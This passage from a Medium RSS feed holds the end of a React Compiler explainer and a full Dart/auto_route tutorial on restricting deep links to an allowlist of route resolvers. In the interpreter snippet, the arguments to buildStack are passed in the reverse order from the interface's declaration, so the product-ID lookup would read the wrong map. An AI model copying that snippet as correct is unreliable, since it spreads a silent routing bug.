onClick={onClick}&gt;{label}&lt;/button&gt;);<br>// Now<br>const Button = ({ label, onClick }) =&gt; &lt;button onClick={onClick}&gt;{label}&lt;/button&gt;;<br>// Compiler auto-memoizes this</pre><p>With React Compiler, there’s no need to add manual memoization, as the Compiler will do it for you, with some additional optimizations and caching.</p><p><strong>Integration with Build Tools</strong></p><p>According to the <a href="https://react.dev/learn/react-compiler/introduction">docs</a>, React Compiler is compatible with many build tools, such as Babel, Vite, Metro and Rsbuild.</p><p>React Compiler is actually a light Babel plugin, but the React team is working on building a first class support for React Compiler.</p><p>React Compiler is also available for NextJs by v15.3.1.</p><p><strong>Limitations and Constraints</strong></p><p>As the Compiler is on its initial version, it still comes with a few limitations:</p><ul><li>Not every pattern is supported for memoization</li><li>Works better with function components following the Rules of React strictly</li><li>Might need to disable Compiler in specific components (“use no memo” directive).</li></ul><p>P.S.: If your code shows some unexpected behaviors with React Compiler, you can configure it to apply only to specific files with the directive “use memo” or “use no memo” for the files you don’t want the Compiler to work on. See <a href="https://react.dev/reference/react-compiler/configuration">Configuration Docs</a> for more.</p><h4><strong>Example</strong></h4><p>To make it clear, let’s see React Compiler in action with a simple example code, and see what it does. The app will be a simple page, with text inputs, a Counter and a List of Items. The idea is that we’ll have a parent component sharing some states with child components, and see what React Compiler does to optimize the code and prevent re-rendering.</p><pre>export default function App() {<br>  console.log(&quot;Render App&quot;);<br><br>  const [count, setCount] = useState(0);<br>  const [text, setText] = useState(&quot;&quot;);<br>  const [items, setItems] = useState([&quot;Item 1&quot;, &quot;Item 2&quot;, &quot;Item 3&quot;]);<br>  <br>  const handleIncrement = () =&gt; setCount((prev) =&gt; prev + 1);<br>  const handleText = (e: React.ChangeEvent&lt;HTMLInputElement&gt;) =&gt; setText(e.target.value);<br>  const handleItems = (e: React.ChangeEvent&lt;HTMLInputElement&gt;) =&gt; {<br>    setItems((prev) =&gt; […prev, e.target.value]);<br>  };<br><br>  return (<br>  &lt;div&gt;<br>    &lt;h1 style={{ fontWeight: 700, marginBottom: 10 }}&gt;⚡ React Compiler Test&lt;/h1&gt;<br>    <br>    &lt;div style={cardStyle}&gt;<br>      &lt;p style={titleStyle}&gt;Text&lt;/p&gt;<br>      &lt;input<br>        style={inputStyle}<br>        value={text}<br>        onChange={handleText}<br>        placeholder=&quot;Type something…&quot;<br>      /&gt;<br>      &lt;p style={{ marginTop: 10, fontSize: 15, opacity: 0.9 }}&gt;<br>      You typed: &lt;b&gt;{text || &quot;nothing yet&quot;}&lt;/b&gt;<br>      &lt;/p&gt;<br>    &lt;/div&gt;<br><br>    &lt;Counter value={count} onIncrement={handleIncrement} /&gt;<br><br>    &lt;div style={cardStyle}&gt;<br><br>      &lt;p style={titleStyle}&gt;Add Item&lt;/p&gt;<br><br>      &lt;input<br>        style={inputStyle}<br>        onChange={handleItems}<br>        placeholder=&quot;Type something…&quot;<br>      /&gt;<br>    &lt;/div&gt;<br><br>    &lt;ItemsList items={items} /&gt;<br>  &lt;/div&gt;<br>);<br>};</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjADLrtDIUTfgO82unm47g.png" /></figure><p>With that simple page we can see React Compiler in action, the page has 2 inputs and 2 components, without the Compiler (or manual memoization) every time we add a new item to the list or increment counter, all components will re-render, even the ones that weren’t affected by the change.</p><p>Running the code without the Compiler on, you will see that every time a state changes, the whole page re-renders You can see in the console that when we increment the counter, the parent node, the items list and the counter are re-rendered, even though only the Counter and App states changed (counter state is managed by App):</p><pre>App.tsx:121 Render App // initial render<br>App.tsx:50 Counter 0 // initial render<br>App.tsx:80 Items List // initial render<br>App.tsx:121 Render App<br>App.tsx:50 Counter 1<br>App.tsx:80 Items List<br>App.tsx:121 Render App<br>App.tsx:50 Counter 2<br>App.tsx:80 Items List</pre><p>With React Compiler, it will automatically add memoization to components, so it will work as if you’ve added memoization manually, but you haven’t. Using React Devtools, on the Components tab, it shows the components that were optimized by the Compiler. It shows a “Memo ✨”, indicating that the compiler memoized the component.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/1*QVRzINg___FPQUGQOJTOTQ.png" /><figcaption>Image of React DevTools showing the “Memo” on Components</figcaption></figure><p>Now, when we run the code with Compiler on and increment counter:</p><pre>App.tsx:121 Render App // initial render<br>App.tsx:50 Counter 0 // initial render<br>App.tsx:80 Items List // initial render<br>App.tsx:121 Render App<br>App.tsx:50 Counter 1<br>App.tsx:121 Render App<br>App.tsx:50 Counter 2</pre><p>Only Counter and App components are re-rendered, and there was no need to add memoization manually. That’s the point of using the React Compiler: you stop worrying about memoizing components and when/how to do it and only focus on building the logic of your app. With that, the app gets faster and runs smoother, without more worries.</p><p><a href="https://github.com/profusion/react-compiler-poc">Example Source Code</a></p><p><strong>Performance Gains with React Compiler</strong></p><ul><li>Fewer unnecessary re-renders.</li><li>Less time debugging stale closures.</li><li>Cleaner, simpler code.</li><li>Same or better runtime performance.</li></ul><p><strong>Conclusion</strong></p><p>As we saw, React Compiler is a great addition to the React ecosystem. Developers who were worried about performance issues will have fewer worries, and the same or better performance results, and those who didn’t worry about it will get faster and smoother apps without even knowing about it. So what it brings is <strong>Performance by Default</strong>.</p><p>React Compiler is available and compatible with React v19, but can be used with additional configuration on React v17 and v18.</p><p>There is an <a href="https://react-compiler-playground-pjx64fsl7-fbopensource.vercel.app/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvhgJcsNgB5CTAG4A+ABIJKlCPgDqOSoTkB6RaoDc4gL7iQVoA">Online Compiler Playground</a> where you can see the output of the React Compiler generated code and the optimizations it made.</p><p>That said, you should try it yourself, follow the <a href="https://react.dev/learn/react-compiler/introduction">React Compiler Docs</a>, install the npm package babel-plugin-react-compiler and enable it in your environment. With Vite, it is as simple as adding the plugin to your “vite.config.js”:</p><pre>import { defineConfig } from &#39;vite&#39;<br>import react from &#39;@vitejs/plugin-react&#39;<br><br>export default defineConfig({<br>  plugins: [<br>    react({<br>      babel: {<br>        plugins: [[&#39;babel-plugin-react-compiler&#39;]],<br>      },<br>    }),<br>  ],<br>})</pre><p>With automatic performance handled by the React Compiler, you’re free to stop worrying about manual memoization and focus entirely on building great application logic, delivering P<strong>erformance by Default.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0190b194e259" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/react-compiler-how-it-works-and-how-it-changes-the-way-we-code-in-react-0190b194e259">React Compiler: How it works and how it changes the way we code in React</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Defining Deep Links in a structured way]]></title>
            <link>https://medium.com/profusion-engineering/defining-deep-links-in-a-structured-way-7c1f649f0abb?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/7c1f649f0abb</guid>
            <category><![CDATA[deeplink]]></category>
            <category><![CDATA[deep-linking]]></category>
            <category><![CDATA[dart]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[ios]]></category>
            <dc:creator><![CDATA[Mairon Lucas Slusarz]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 20:17:35 GMT</pubDate>
            <atom:updated>2025-10-10T20:17:14.527Z</atom:updated>
            <content:encoded><![CDATA[<p>A question that may come to mind during the development of the Deep Link feature is, “Does it apply that I must expose all the routes of the app?” and the answer is “No! You have tools not to do so”. This post provides a step-by-step guide to structuring your deep links with a <strong>strict allowlist</strong>, giving you granular control over which routes can be externally accessed. Define your boundaries, secure your app, and simplify your navigation architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mt1ujiuibS0_fIO-l1P-Ew.png" /></figure><p>This guide assumes you’ve already completed the necessary <strong>native setup</strong> for deep links on iOS and Android.<strong><em> </em></strong><em>If you’re still looking for a comprehensive guide on initial configuration, I recommend checking out my previous post:</em></p><p><a href="https://medium.com/profusion-engineering/deep-links-an-ios-and-android-setup-guide-5b5b0fef9ebf">Deep Links: An iOS and Android Setup Guide</a></p><p>The proposal described on the next sections is designed in such a way that an allowlist of routes could be defined, regardless of the framework or the package used to handle routes in the application, having only the requirements of an entry point of the deeplink (to see the path that was triggered) and the possibility to push custom routes starting from that entry point. To demonstrate the solution, Dart will be used along with the <a href="https://pub.dev/packages/auto_route">auto_route</a> package. The full source code is available <a href="https://github.com/profusion/deeplink_auto_route">in this GitHub repository</a>.</p><h3><strong>The proposed implementation</strong></h3><p>The diagram below illustrates the layers that compose the full solution and the workflow from the trigger of a deep link to the build of the respective route stack. Each part will be described in detail further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRubXaWnjYn1zBM1umic5g.png" /></figure><h4><strong>Deep Link Handler</strong></h4><p>The DeepLinkHandler serves as the application’s entry point for all external deep links. It’s the critical layer responsible for intercepting the incoming URI and orchestrating the entire navigation flow. This mechanism is indeed <strong>framework-dependent, </strong>but its responsibility is clear: capture the raw URI and trigger the DeepLink workflow. Below is how this entry point is configured when using the <em>auto_route</em> package:</p><pre>return MaterialApp.router(<br>    routerConfig: AppRouter().config(<br>      deepLinkBuilder:(platformDeepLink) {<br>        // Do something with the received Deep Link<br>        return interpreter.interpret(platformDeepLink);<br>      },<br>    ),<br>);</pre><h4><strong>Resolvers</strong></h4><p>The Resolver layer is the heart of our strategy, as it explicitly defines the allowlist of routes that are externally accessible via deep links. Each resolver acts as a dedicated handler for a specific destination.</p><p>To ensure uniformity and predictability across all allowed deep links, we establish a contract using an interface. This interface, which we’ll call DeepLinkStackResolver in this example, dictates two core requirements for any allowed route:</p><ul><li><em>path</em>: The specific path that the resolver will listen for (e.g., /products/:id).</li><li><em>buildStack()</em>: A function that takes the received deep link parameters (query, path variables) and returns a complete route stack.</li></ul><p><strong>Why the buildStack() is crucial</strong>: A deep link doesn’t just push one screen; it often needs to construct the entire navigation history beneath the target screen (e.g., Home -&gt; ProductList -&gt; ProductDetail). By returning a stack, we ensure that the user gets the target screen and has proper back-button behavior, regardless of where they launched the app from.</p><p>This interface ensures that only classes implementing this contract can participate in the allowlist:</p><pre>abstract interface class DeepLinkStackResolver {<br>  String get path;<br><br>  List&lt;PageRouteInfo&gt; buildStack(Map&lt;String, String&gt; queryParams, Map&lt;String, String&gt; pathParams);<br>}</pre><p>Then, for each route that we want to include in our allowlist, we should implement this interface and fill it with the respective information. The code snippet below shows the implementations to reach the application home and the product list page:</p><pre>class ProductsStackResolver implements DeepLinkStackResolver{<br>  @override<br>  String get path =&gt; &#39;/products/:id&#39;;<br><br>  @override<br>  List&lt;PageRouteInfo&gt; buildStack(Map&lt;String, String&gt; queryParams, Map&lt;String, String&gt; pathParams) {<br>    return [<br>        HomeRoute(),<br>        ProductsRoute(),<br>        ProductDetailsRoute(id: pathParams[&#39;id&#39;] ?? &#39;&#39;),<br>      ];<br>  }<br>}<br><br>class HomeStackResolver implements DeepLinkStackResolver {<br>  @override<br>  String get path =&gt; &#39;/&#39;;<br><br>  @override<br>  List&lt;PageRouteInfo&gt; buildStack(Map&lt;String, String&gt; queryParams, Map&lt;String, String&gt; pathParams) {<br>    return [HomeRoute()];<br>  }<br>}</pre><p>Once you define all the routes that you want to support, create a list containing these resolvers to be used as input on the previous layer, the Interpreter.</p><h4><strong>Interpreter</strong></h4><p>The DeepLinkInterpreter is the core of the solution and the class responsible for establishing the bridge between the raw incoming deep link path and the validated internal route structure. It acts as the final decision-maker for navigation. Its primary responsibility is to:</p><p>1. <strong>Receive</strong>: Get the incoming deep link path from the DeepLinkHandler.</p><p>2. <strong>Iterate and Validate</strong>: Loop through the list of registered Resolvers (the allowlist). For each resolver, it attempts to match the incoming path against the resolver’s defined path pattern (as will be detailed in the next section).</p><p>3<strong>. Translate or Fallback</strong>:</p><ul><li>If a match is found, the interpreter delegates to the matching Resolver’s buildStack() function.</li><li>If no resolver matches the path, it returns a defined fallback route (e.g., the app’s home screen), effectively blocking access to an unlisted path.</li></ul><p>The interpreter’s final output will be the route stack (a list of internal routes) ready to be consumed and pushed by your application’s routing framework. This ensures that only paths explicitly defined in your Resolvers can successfully navigate the user.</p><pre>class DeepLinkInterpreter {<br>  DeepLinkInterpreter({required List&lt;DeepLinkStackResolver&gt; resolvers}) :<br>    _resolvers = resolvers;<br><br> final List&lt;DeepLinkStackResolver&gt; _resolvers;<br><br>  DeepLink interpret(PlatformDeepLink deeplink) {<br>    // Extract the queryParams<br>    final queryParams = deeplink.uri.queryParameters;<br>    // Retrieve the path without queryParams<br>    final path = deeplink.path;<br>    <br>    // Iterates through the resolvers list looking for a match<br>    for (final resolver in _resolvers) {<br>      final (isRouteMatched, pathParams) = PathMatcher.verifyMatch(resolver.path, path);<br>      if (isRouteMatched) {<br>        // If a match is found, build the route stack and return to push it!<br>        final stack = resolver.buildStack(pathParams, queryParams);<br>        return DeepLink(stack);<br>      }<br>    }<br><br>    return DeepLink([const UnknownRoute()]);<br>  }<br>}</pre><h4><strong>PathMatcher</strong></h4><p>The PathMatcher is the utility layer that powers the validation logic within the DeepLinkInterpreter. Its core responsibility is to determine if an incoming deep link URI successfully matches the pattern defined by a specific Resolver.</p><p>To correctly build the route stack, the target screen needs the data encoded in the deep link (e.g., the product ID, a search term). The PathMatcher is the ideal place to retrieve this, as it must already iterate through the path to perform the comparison. It extracts these path variables (pathParams) and returns them to the Resolver.</p><p>Below is an example of how to implement this validator using the Dart language:</p><pre>class PathMatcher {<br>  static (bool, Map&lt;String, String&gt;) verifyMatch(String resolverPath, String currentPath) {<br>    // Base validation.<br>    if (resolverPath == currentPath) {<br>      return (true, {});<br>    }<br><br>    // Splits both the currentPath and the path that we want to verify the match<br>    final resolverPathSplits = resolverPath.split(&#39;/&#39;);<br>    final currentPathSplits = currentPath.split(&#39;/&#39;);<br>    <br>    // If the splits are not equal, the path is not matched<br>    if (resolverPathSplits.length != currentPathSplits.length) {<br>      return (false, {});<br>    }<br><br>    final params = &lt;String, String&gt;{};<br>    <br>    // Iterate through the splits of resolver to extract pathParams and verify<br>    // equality when is not a pathParam.<br>    for (var i = 0; i &lt; resolverPathSplits.length;i++) {<br>      final resolverPart = resolverPathSplits[i];<br>      final currentPart = currentPathSplits[i];<br><br>      if (resolverPart.startsWith(&#39;:&#39;)) {<br>        if (currentPart.isEmpty) {<br>          return (false, {});<br>        }<br><br>        params[resolverPart.substring(1)] = currentPart;<br>      } else if (resolverPart != currentPart) {<br>        return (false, {});<br>      }<br>    }<br>    // If the for loop doesn&#39;t fail, we got the match and the pathParams!<br>    return (true, params);<br>  }<br>}</pre><p><strong>Note</strong>: It’s nice to review the framework/package documentation before implementing it, because it’s possible that a native function to do that already exists.</p><h4><strong>Framework Navigation</strong></h4><p>This is the last step in our deep link workflow. At this point, we already have the route stack that corresponds to the given path (or the fallback if no Resolver was found). This layer is very Framework/Package specific, but the responsibilities are:</p><ul><li>Convert the abstract navigation stack from the interpreter into actual navigation operations on the platform.</li><li>Ensure the previous stack is cleared or reset safely before applying the new stack (important if the app was already open).</li></ul><p><strong>Portability and Best Practices: Tips for Other Frameworks<br></strong>The power of this allowlist strategy relies on the possibility of implementing it using other libraries. When porting this architecture to another framework (like React Native, GoRouter, or another platform’s router), focus on these key implementation tips:</p><p>1. <strong>Framework Compatibility</strong></p><p>The single most critical requirement for this approach is the ability to handle a navigational hierarchy. So, before beginning the port, verify whether your framework supports pushing a list of routes (a route stack) programmatically.</p><p>2. <strong>Maintainability and Testability</strong></p><p>Architectural decisions should always prioritize long-term maintenance:</p><ul><li><strong>Use Dependency Injection</strong>: Define the allowlist of Resolvers externally and inject it into the DeepLinkInterpreter. This would make it trivial to swap the list for testing and ensure the interpreter is easy to maintain.</li><li><strong>Keep Code Simple</strong>: Design your DeepLinkHandler, DeepLinkInterpreter, and PathMatcher with a single responsibility. Avoid mixing UI logic with deep link parsing logic to keep the code base clean and adaptable.</li></ul><p>3. <strong>Write Unit Tests</strong></p><p>Since the Interpreter and PathMatcher contain the core validation and parameter extraction logic, it’s essential to unit test them.</p><h4><strong>Conclusion</strong></h4><p>The architecture presented minimizes the problem of overexposure in deep linking. By enforcing a strict allowlist, this strategy gives you control over your application’s external access points, resulting in a secure and predictable navigation experience.</p><p>Beyond security, this segmented approach offers architectural advantages. Because the layers of the interpretation process are isolated and mockable, the entire system is inherently easy to unit test and portable. Adapting this solution to new routing frameworks requires only a minimal, thin adaptation in the first and last layer to handle the final navigation operation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c1f649f0abb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/defining-deep-links-in-a-structured-way-7c1f649f0abb">Defining Deep Links in a structured way</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>